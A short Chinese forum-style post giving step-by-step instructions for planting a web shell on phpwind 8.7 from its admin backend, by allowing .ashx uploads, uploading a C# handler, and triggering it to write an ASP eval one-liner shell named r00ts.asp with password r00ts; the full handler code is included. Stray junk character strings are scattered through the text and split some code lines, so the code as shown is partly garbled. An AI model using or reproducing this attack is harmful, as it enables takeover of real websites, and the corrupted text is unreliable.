phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小

群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx
7 E) N0 Q% V  Y6 P. C* a
发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整
: M5 |4 V, S% s* U5 D% `$ C2 Z9 [
* s% C% C: H" Z/ G& C1 v然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx
- f- C3 n4 o9 p
打开之后空白 会在目录底下生成r00ts.asp 密码r00ts

. s2 Z# F9 s7 H& o% _下面是代码:
5 d8 D1 s  x( p. h- l2 _
<%@ WebHandler Language="C#"Class="Handler" %>
using System;
using System.Web;
0 o* g: ]9 g  J' k; S: G8 pusing System.IO;
1 d6 c% n/ m: z& ?public class Handler : IHttpHandler {
3 Q/ g, ]; G- W. Y7 f( d' V" Tpublic void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
file1.Write("<%eval request(\"r00ts\")%>");
file1.Flush();
% x5 s' A) I4 m) r6 ^; Cfile1.Close();
}
public bool IsReusable {
+ i& t5 |  n/ T- J7 f( ?( [2 zget {
5 P+ C0 u8 j" {+ Qreturn false;
$ h. _* J3 h+ F2 I" o7 E}
2 K. C' R7 ^; E' e}
0 x: @  r$ F9 V/ Y: t) c}